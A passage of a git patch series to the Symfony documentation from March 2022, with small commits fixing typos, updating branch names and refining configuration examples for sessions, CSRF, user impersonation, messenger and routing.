-* ``5.x``, if you are adding a new feature.
+* ``6.1``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the
@@ -152,7 +152,7 @@ topic branch:
 
 .. code-block:: terminal
 
-    $ git checkout -b BRANCH_NAME 5.x
+    $ git checkout -b BRANCH_NAME 6.1
 
 Or, if you want to provide a bug fix for the ``4.4`` branch, first track the remote
 ``4.4`` branch locally:
@@ -281,15 +281,15 @@ while to finish your changes):
 
 .. code-block:: terminal
 
-    $ git checkout 5.x
+    $ git checkout 6.1
     $ git fetch upstream
-    $ git merge upstream/5.x
+    $ git merge upstream/6.1
     $ git checkout BRANCH_NAME
-    $ git rebase 5.x
+    $ git rebase 6.1
 
 .. tip::
 
-    Replace ``5.x`` with the branch you selected previously (e.g. ``4.4``)
+    Replace ``6.1`` with the branch you selected previously (e.g. ``4.4``)
     if you are working on a bug fix.
 
 When doing the ``rebase`` command, you might have to fix merge conflicts.
@@ -502,7 +502,7 @@ PR. Before re-submitting the PR, rebase with ``upstream/5.x`` or
 
 .. code-block:: terminal
 
-    $ git rebase -f upstream/5.x
+    $ git rebase -f upstream/6.1
     $ git push --force origin BRANCH_NAME
 
 .. note::

From c4d4ced4e387c224fc2aeb0357d4e4ea06bf7db1 Mon Sep 17 00:00:00 2001
From: Gintautas <35382935+gintautasp12@users.noreply.github.com>
Date: Sun, 20 Mar 2022 21:15:03 +0200
Subject: [PATCH 1742/5766] Fix typo

Fixes a typo "Testings" -> "Testing"
---
 form/unit_testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 4c28078954f..8a5c67da48f 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -134,7 +134,7 @@ variable exists and will be available in your form themes::
     the ``KernelTestCase`` instead and use the ``form.factory`` service to
     create the form.
 
-Testings Types Registered as Services
+Testing Types Registered as Services
 -------------------------------------
 
 Your form may be used as a service, as it depends on other services (e.g. the

From 19ae2b0632cd8a4e5b2a14be552f1c5a4f8d85e5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 10:01:57 +0100
Subject: [PATCH 1743/5766] Minor tweak

---
 form/unit_testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 8a5c67da48f..c8996787017 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -135,7 +135,7 @@ variable exists and will be available in your form themes::
     create the form.
 
 Testing Types Registered as Services
--------------------------------------
+------------------------------------
 
 Your form may be used as a service, as it depends on other services (e.g. the
 Doctrine entity manager). In these cases, using the above code won't work, as

From ecf29e333258ed0778d4330da7771b666bf93481 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 14:45:11 +0100
Subject: [PATCH 1744/5766] [Contributing] Remove an unneeded toctree

---
 contributing/documentation/index.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/contributing/documentation/index.rst b/contributing/documentation/index.rst
index f16f4e32cc7..9af054d0502 100644
--- a/contributing/documentation/index.rst
+++ b/contributing/documentation/index.rst
@@ -20,12 +20,3 @@ documentation:
 :doc:`License </contributing/documentation/license>`
     Explains the details of the Creative Commons BY-SA 3.0 license used for the
     Symfony Documentation.
-
-.. toctree::
-    :hidden:
-
-    format
-    license
-    overview
-    standards
-    translations

From fa0597822b5d608475c581f87ef6820ac8b1035d Mon Sep 17 00:00:00 2001
From: Jeroen <4200784+JeroenMoonen@users.noreply.github.com>
Date: Mon, 25 Oct 2021 15:18:14 +0200
Subject: [PATCH 1745/5766] Update service container rst with missing class

Add class definition in given service container example
---
 service_container.rst | 23 +++++++++++++----------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index eda0dc85ffc..8a974ef6989 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -125,18 +125,21 @@ inside your controller::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
-    /**
-     * @Route("/products/new")
-     */
-    public function new(MessageGenerator $messageGenerator): Response
+    class ProductController
     {
-        // thanks to the type-hint, the container will instantiate a
-        // new MessageGenerator and pass it to you!
-        // ...
+        /**
+         * @Route("/products/new")
+         */
+        public function new(MessageGenerator $messageGenerator): Response
+        {
+            // thanks to the type-hint, the container will instantiate a
+            // new MessageGenerator and pass it to you!
+            // ...
 
-        $message = $messageGenerator->getHappyMessage();
-        $this->addFlash('success', $message);
-        // ...
+            $message = $messageGenerator->getHappyMessage();
+            $this->addFlash('success', $message);
+            // ...
+        }
     }
 
 When you ask for the ``MessageGenerator`` service, the container constructs a new

From 0b7f033e89a24cae982ac383e004725b014bd2b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 14:52:21 +0100
Subject: [PATCH 1746/5766] Make the controller extend from AbstractController

---
 service_container.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 8a974ef6989..ddb81243ccd 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -122,10 +122,11 @@ inside your controller::
 
     // src/Controller/ProductController.php
     use App\Service\MessageGenerator;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
-    class ProductController
+    class ProductController extends AbstractController
     {
         /**
          * @Route("/products/new")

From 440c1e3d246537bddec877ee9d4c33b0ddee1ca3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 14:54:10 +0100
Subject: [PATCH 1747/5766] Use PHP attribute to define the route

---
 service_container.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 8a97ecc234e..772d01249a4 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -126,9 +126,7 @@ inside your controller::
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/products/new")
-         */
+        #[Route('/products/new')]
         public function new(MessageGenerator $messageGenerator): Response
         {
             // thanks to the type-hint, the container will instantiate a

From 0f437c08a31b32391dbe3cf4d51c978f261c0d56 Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <tlili.mokhtar@gmail.com>
Date: Mon, 6 Sep 2021 19:49:39 +0200
Subject: [PATCH 1748/5766] Update upload_file.rst

---
 controller/upload_file.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 2abf1dc34c0..8f64fb10f80 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -199,7 +199,7 @@ There are some important things to consider in the code of the above controller:
 #. A well-known security best practice is to never trust the input provided by
    users. This also applies to the files uploaded by your visitors. The ``UploadedFile``
    class provides methods to get the original file extension
-   (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getExtension`),
+   (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalExtension`),
    the original file size (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getSize`)
    and the original file name (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalName`).
    However, they are considered *not safe* because a malicious user could tamper

From 8f6defb36f5ce26418a89118d46509e1d35916de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 16:09:42 +0100
Subject: [PATCH 1749/5766] Minor syntax issue

---
 security/expressions.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 88bebd5dc07..319a26ea659 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -80,8 +80,7 @@ Additionally, you have access to a number of functions inside the expression:
 
 .. deprecated:: 5.4
 
-   The ``is_anonymous()`` function is
-   deprecated since Symfony 5.4.
+   The ``is_anonymous()`` function is deprecated since Symfony 5.4.
 
 .. sidebar:: ``is_remember_me()`` is different than checking ``IS_AUTHENTICATED_REMEMBERED``
 

From cbfac3de0d04d344f914fd51c7b82c2976116003 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 16:10:31 +0100
Subject: [PATCH 1750/5766] Remove deprecated features

---
 security/expressions.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 319a26ea659..7e5bc03b06a 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -64,10 +64,6 @@ Additionally, you have access to a number of functions inside the expression:
 ``is_authenticated()``
     Returns ``true`` if the user is authenticated via "remember-me" or authenticated
     "fully" - i.e. returns true if the user is "logged in".
-``is_anonymous()``
-    Returns ``true`` if the user is anonymous. That is, the firewall confirms that it
-    does not know this user's identity. This is different from ``IS_AUTHENTICATED_ANONYMOUSLY``,
-    which is granted to *all* users, including authenticated ones.
 ``is_remember_me()``
     Similar, but not equal to ``IS_AUTHENTICATED_REMEMBERED``, see below.
 ``is_fully_authenticated()``
@@ -78,10 +74,6 @@ Additionally, you have access to a number of functions inside the expression:
     equivalent to using the :ref:`isGranted() method <security-isgranted>`
     from the security service.
 
-.. deprecated:: 5.4
-
-   The ``is_anonymous()`` function is deprecated since Symfony 5.4.
-
 .. sidebar:: ``is_remember_me()`` is different than checking ``IS_AUTHENTICATED_REMEMBERED``
 
     The ``is_remember_me()`` and ``is_fully_authenticated()`` functions are *similar*

From 8b8492f81ee67cbb5368d9647f7a971e1c0fca60 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 16:39:40 +0100
Subject: [PATCH 1751/5766] Minor tweaks

---
 security/impersonating_user.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 0dd66074e0b..0bdbcdce229 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -75,7 +75,9 @@ as the value to the current URL:
 .. tip::
 
     Instead of adding a ``_switch_user`` query string parameter, you can pass
-    the username in a ``HTTP_X_SWITCH_USER`` header. You can use this feature by adjusting the ``parameter`` setting:
+    the username in a custom HTTP header by adjusting the ``parameter`` setting.
+    For example, to use ``X-Switch-User`` header (available in PHP as
+    ``HTTP_X_SWITCH_USER``) add this configuration:
 
     .. configuration-block::
 
@@ -87,7 +89,7 @@ as the value to the current URL:
                 firewalls:
                     main:
                         # ...
-                        switch_user: { parameter: HTTP_X_SWITCH_USER }
+                        switch_user: { parameter: X-Switch-User }
 
         .. code-block:: xml
 
@@ -104,7 +106,7 @@ as the value to the current URL:
                     <!-- ... -->
                     <firewall name="main">
                         <!-- ... -->
-                        <switch-user parameter="HTTP_X_SWITCH_USER"/>
+                        <switch-user parameter="X-Switch-User"/>
                     </firewall>
                 </config>
             </srv:container>
@@ -118,7 +120,7 @@ as the value to the current URL:
                 $security->firewall('main')
                     // ...
                     ->switchUser()
-                        ->parameter('HTTP_X_SWITCH_USER')
+                        ->parameter('X-Switch-User')
                 ;
             };
 

From 9e6b105a830ba5e233cb923e01aa58e0c30f2a1c Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 3 Jan 2022 15:14:41 +0100
Subject: [PATCH 1752/5766] Explaining how to actually get the session from
 `Request`

Question: Shouldn't `Request` be shown as preferred way (not `RequestStack`), since injecting `Request` is needed for forms anyway (whereas I've never needed to inject `RequestStack`)?
---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 0331b964cfd..3b469bb7ff5 100644
--- a/session.rst
+++ b/session.rst
@@ -135,7 +135,7 @@ Check out the Symfony config reference to learn more about the other available
 Basic Usage
 -----------
 
-The session is available through the Request and the RequestStack.
+The session is available through ``->getSession()`` from the ``Request`` and the ``RequestStack``.
 Symfony provides a request_stack service that is injected in your services and
 controllers if you type-hint an argument with
 :class:`Symfony\\Component\\HttpFoundation\\RequestStack`::

From 540b18391f3326cd4eefac19aa1c2bbce259d3ff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 17:15:09 +0100
Subject: [PATCH 1753/5766] Minor reword

---
 session.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/session.rst b/session.rst
index 3b469bb7ff5..ec9982ae921 100644
--- a/session.rst
+++ b/session.rst
@@ -135,10 +135,9 @@ Check out the Symfony config reference to learn more about the other available
 Basic Usage
 -----------
 
-The session is available through ``->getSession()`` from the ``Request`` and the ``RequestStack``.
-Symfony provides a request_stack service that is injected in your services and
-controllers if you type-hint an argument with
-:class:`Symfony\\Component\\HttpFoundation\\RequestStack`::
+The session is available through the ``Request`` object and the ``RequestStack``
+service. Symfony injects the ``request_stack`` service in services and controllers
+if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\RequestStack`::
 
     use Symfony\Component\HttpFoundation\RequestStack;
 

From a4b642217fce82d7e388918c19a35d53d80d188b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Bart=C5=82omiej=20Zaj=C4=85c?= <bzajacc@gmail.com>
Date: Fri, 31 Dec 2021 20:24:43 +0100
Subject: [PATCH 1754/5766] [Messenger] Fix check_delayed_interval option in
 messenger doctrine psqltransport

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 18b1e5d6911..c7749b13dc8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1359,7 +1359,7 @@ in the table.
 Option                   Description                                 Default
 =======================  ==========================================  ======================
 use_notify               Whether to use LISTEN/NOTIFY.               true
-check_delayed_interval   The interval to check for delayed           1000
+check_delayed_interval   The interval to check for delayed           60000
                          messages, in milliseconds.
                          Set to 0 to disable checks.
 get_notify_timeout       The length of time to wait for a            0

From 9e59e571fc3ebe11df1d31382393bc3f58180605 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Walter=20Nu=C3=B1ez?= <icarosnet@gmail.com>
Date: Tue, 28 Dec 2021 12:25:00 -0500
Subject: [PATCH 1755/5766] Update Doc of csrf_protection configuration in
 framework level

---
 reference/configuration/framework.rst | 37 +++++++++++++++++++++++++++
 1 file changed, 37 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4feb8fcd56d..93084385b3c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -358,6 +358,43 @@ If you're using forms, but want to avoid starting your session (e.g. using
 forms in an API-only website), ``csrf_protection`` will need to be set to
 ``false``.
 
+example:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+    
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            csrf_protection: true #can be true or false
+            
+    .. code-block:: xml
+    
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:csrf-protection enabled="true"/>
+            </framework:config>
+        </container>
+        
+    .. code-block:: php
+    
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+        return static function (FrameworkConfig $framework) {
+            $framework->csrfProtection()
+                ->enabled(true) #can be true or false
+            ;
+        };
+
 .. _config-framework-error_controller:
 
 error_controller

From d96fcfe4bc2b149a16e4d77530277838a3f1f12f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 17:21:59 +0100
Subject: [PATCH 1756/5766] Minor tweak

---
 reference/configuration/framework.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 93084385b3c..9351742f3f2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -354,12 +354,6 @@ enabled
 This option can be used to disable CSRF protection on *all* forms. But you
 can also :ref:`disable CSRF protection on individual forms <form-csrf-customization>`.
 
-If you're using forms, but want to avoid starting your session (e.g. using
-forms in an API-only website), ``csrf_protection`` will need to be set to
-``false``.
-
-example:
-
 .. configuration-block::
 
     .. code-block:: yaml
@@ -367,7 +361,7 @@ example:
         # config/packages/framework.yaml
         framework:
             # ...
-            csrf_protection: true #can be true or false
+            csrf_protection: true
             
     .. code-block:: xml
     
@@ -391,10 +385,14 @@ example:
         use Symfony\Config\FrameworkConfig;
         return static function (FrameworkConfig $framework) {
             $framework->csrfProtection()
-                ->enabled(true) #can be true or false
+                ->enabled(true)
             ;
         };
 
+If you're using forms, but want to avoid starting your session (e.g. using
+forms in an API-only website), ``csrf_protection`` will need to be set to
+``false``.
+
 .. _config-framework-error_controller:
 
 error_controller

From bcc13a0b81ea46226206b2b32850c146febcca5f Mon Sep 17 00:00:00 2001
From: Andrea Cristaudo <andrea-cristaudo@users.noreply.github.com>
Date: Sat, 11 Sep 2021 10:07:57 +0200
Subject: [PATCH 1757/5766] Add a note on "--no-plugins" Composer option
 effects

When you use the "--no-plugins" Composer option the autoload_runtime.php file won't be created.
---
 components/runtime.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/runtime.rst b/components/runtime.rst
index aaa532a380f..a6d25ae230a 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -53,6 +53,12 @@ the component. This file runs the following logic:
 
 .. caution::
 
+<<<<<<< HEAD
+=======
+    If you use the Composer ``--no-plugins`` option the ``autoload_runtime.php``
+    file won't be created.
+
+>>>>>>> af698f2b2 (Add a note on "--no-plugins" Composer option effects)
     If you use the Composer ``--no-scripts`` option, make sure your Composer version
     is ``>=2.1.3``; otherwise the ``autoload_runtime.php`` file won't be created.
 

From 75862b664c5afdee67b909e9ccdd374a4ba70e64 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Mar 2022 09:07:25 +0100
Subject: [PATCH 1758/5766] Minor syntax fixes

---
 components/runtime.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index a6d25ae230a..979a5a13aa7 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -53,12 +53,9 @@ the component. This file runs the following logic:
 
 .. caution::
 
-<<<<<<< HEAD
-=======
-    If you use the Composer ``--no-plugins`` option the ``autoload_runtime.php``
+    If you use the Composer ``--no-plugins`` option, the ``autoload_runtime.php``
     file won't be created.
 
->>>>>>> af698f2b2 (Add a note on "--no-plugins" Composer option effects)
     If you use the Composer ``--no-scripts`` option, make sure your Composer version
     is ``>=2.1.3``; otherwise the ``autoload_runtime.php`` file won't be created.
 

From 5c488c8e0a5b0439618ea5264603ac1455c3b68e Mon Sep 17 00:00:00 2001
From: Vincent Huck <vincent.huck.pro@gmail.com>
Date: Thu, 24 Mar 2022 07:27:58 +0100
Subject: [PATCH 1759/5766] Add missing signature_properties config

---
 security/login_link.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 137fe734330..40679e50071 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -61,7 +61,9 @@ under the firewall. You must configure a ``check_route`` and
 
             <config>
                 <firewall name="main">
-                    <login-link check-route="login_check"/>
+                    <login-link check-route="login_check">
+                        <signature-property>id</signature-property>
+                    </login-link>
                 </firewall>
             </config>
         </srv:container>
@@ -75,6 +77,7 @@ under the firewall. You must configure a ``check_route`` and
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
+                    ->signatureProperties(['id'])
             ;
         };
 

From c3fe53a61695371e3d9034d7968c929181232051 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 23 Mar 2022 18:54:55 +0100
Subject: [PATCH 1760/5766] Update uid.rst

---
 components/uid.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index e6f68f376fa..c2a0c79315b 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -120,7 +120,10 @@ UUID objects created with the ``Uuid`` class can use the following methods
 
     // getting the UUID datetime (it's only available in certain UUID types)
     $uuid = Uuid::v1();
-    $uuid->getDateTime();  // returns a \DateTimeImmutable instance
+    $uuid->getDateTime(); // returns a \DateTimeImmutable instance
+
+    // checking if a given value is valid as UUID
+    $isValid = Uuid::isValid($uuid); // true or false
 
     // comparing UUIDs and checking for equality
     $uuid1 = Uuid::v1();

From 1b8d52d9333c522ca4e94d66fb1d337a5dfac0d0 Mon Sep 17 00:00:00 2001
From: Fabien Salathe <fabacrans@gmail.com>
Date: Tue, 22 Mar 2022 10:43:35 +0100
Subject: [PATCH 1761/5766] Use a better name than "class Foo"

It took me a while to figure out what represent `class Foo`
---
 components/event_dispatcher.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 0331c3320be..a0fc45ed78e 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -499,9 +499,9 @@ is dispatched, are passed as arguments to the listener::
     use Symfony\Contracts\EventDispatcher\Event;
     use Symfony\Contracts\EventDispatcher\EventDispatcherInterface;
 
-    class Foo
+    class MySubscriber
     {
-        public function myEventListener(Event $event, $eventName, EventDispatcherInterface $dispatcher)
+        public function myEventListener(Event $event, string $eventName, EventDispatcherInterface $dispatcher)
         {
             // ... do something with the event name
         }

From afd3d87d99606957241932ca8f8d11e393342a03 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Mar 2022 16:15:27 +0100
Subject: [PATCH 1762/5766] Minor tweak

---
 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index a0fc45ed78e..dd1ce9c310a 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -499,7 +499,7 @@ is dispatched, are passed as arguments to the listener::
     use Symfony\Contracts\EventDispatcher\Event;
     use Symfony\Contracts\EventDispatcher\EventDispatcherInterface;
 
-    class MySubscriber
+    class MyListener
     {
         public function myEventListener(Event $event, string $eventName, EventDispatcherInterface $dispatcher)
         {

From 3f1518390ce4f4b11c4b86fb04e9272407101b53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 17:53:14 +0100
Subject: [PATCH 1763/5766] [Mime] Allow to embed images as CSS backgrounds

---
 mailer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 68939c4c3ca..8b4f6d6678b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -467,10 +467,18 @@ images inside the HTML contents::
         // ...
         ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo')
         ->embedFromPath('/path/to/images/signature.gif', 'footer-signature')
+
         // reference images using the syntax 'cid:' + "image embed name"
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
+
+        // use the same syntax for images included as CSS background images
+        ->html('... <div style="background-image: url(cid:footer-signature)"> ... </div> ...')
     ;
 
+.. versionadded:: 6.1
+
+    The support of embedded images as CSS backgrounds was introduced in Symfony 6.1.
+
 .. _mailer-configure-email-globally:
 
 Configuring Emails Globally

From bd94a2d045831f635a901b99c439f031ec92f219 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Mar 2022 16:44:44 +0100
Subject: [PATCH 1764/5766] [Messenger] Deprecate the reset_on_message option

---
 messenger.rst | 50 +++++++-------------------------------------------
 1 file changed, 7 insertions(+), 43 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 35d2f056da6..a292b3a5ac8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -711,51 +711,15 @@ states to prevent information and/or memory leakage.
 
 However, certain Symfony services, such as the Monolog
 :ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
-In those cases, use the ``reset_on_message`` transport option to automatically
-reset the service container between two messages:
+That's why Symfony automatically resets the service container between two messages.
+If you don't want to reset the container, add the ``--no-reset`` option when
+running the ``messenger:consume`` command.
 
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/messenger.yaml
-        framework:
-            messenger:
-                reset_on_message: true
-                transports:
-                    async:
-                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+.. deprecated:: 6.1
 
-    .. code-block:: xml
-
-        <!-- config/packages/messenger.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:messenger>
-                    <framework:transport name="async" dsn="%env(MESSENGER_TRANSPORT_DSN)%" reset-on-message="true">
-                    </framework:transport>
-                </framework:messenger>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/messenger.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $messenger = $framework->messenger();
-
-            $messenger->resetOnMessage(true);
-        };
+    In Symfony versions previous to 6.1, the service container didn't reset
+    automatically between messages and you had to set the
+    ``framework.messenger.reset_on_message`` option to ``true``.
 
 .. _messenger-retries-failures:
 

From e0b892bfd080bb078aa8eb70591a125200cee779 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Mar 2022 17:30:56 +0100
Subject: [PATCH 1765/5766] [Routing] Add the 'attribute' value in routing
 annotation loaders

---
 configuration/micro_kernel_trait.rst |  5 +++--
 routing/custom_route_loader.rst      | 10 +++++++++-
 2 files changed, 12 insertions(+), 3 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 66e9aae2bbe..6a2c6a6375a 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -181,8 +181,9 @@ hold the kernel. Now it looks like this::
                 $routes->import('@WebProfilerBundle/Resources/config/routing/profiler.xml')->prefix('/_profiler');
             }
 
-            // load the annotation routes
-            $routes->import(__DIR__.'/Controller/', 'annotation');
+            // load the routes defined as PHP attributes
+            // (use 'annotation' as the second argument if you define routes as annotations)
+            $routes->import(__DIR__.'/Controller/', 'attribute');
         }
 
         // optional, to use the standard Symfony cache directory
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index c9b2853088a..2bbc4deff0f 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -70,7 +70,10 @@ Symfony provides several route loaders for the most common needs:
             // loads routes from the given routing file stored in some bundle
             $routes->import('@AcmeBundle/Resources/config/routing.yaml');
 
-            // loads routes from the PHP annotations of the controllers found in that directory
+            // loads routes from the PHP attributes (#[Route(...)]) of the controllers found in that directory
+            $routes->import('../src/Controller/', 'attribute');
+
+            // loads routes from the PHP annotations (@Route(...)) of the controllers found in that directory
             $routes->import('../src/Controller/', 'annotation');
 
             // loads routes from the YAML or XML files found in that directory
@@ -80,6 +83,11 @@ Symfony provides several route loaders for the most common needs:
             $routes->import('@AcmeOtherBundle/Resources/config/routing/', 'directory');
         };
 
+.. versionadded:: 6.1
+
+    The ``attribute`` value of the second argument of ``import()`` was introduced
+    in Symfony 6.1.
+
 .. note::
 
     When importing resources, the key (e.g. ``app_file``) is the name of the collection.

From d106d63da931f623ecff146aea0af45b253238ba Mon Sep 17 00:00:00 2001
From: Manuel Transfeld <auipga@users.noreply.github.com>
Date: Fri, 25 Mar 2022 15:25:04 +0100
Subject: [PATCH 1766/5766] Fix minor typo

---
 setup/upgrade_major.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index a9381d49854..af6544e3849 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -237,7 +237,7 @@ method:
 
 The behavior of this script can be modified using the ``SYMFONY_PATCH_TYPE_DECLARATIONS``
 env var. The value of this env var is url-encoded (e.g.
-``param1=value2&param2=value2``), the following parameters are available:
+``param1=value1&param2=value2``), the following parameters are available:
 
 ``force``
     Enables fixing return types, the value must be one of:

From 85b5b9d42944ef10f972c9998d3b6d9aeb3b2840 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Mar 2022 15:56:21 +0100
Subject: [PATCH 1767/5766] Fix minor typo

---
 setup/upgrade_major.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

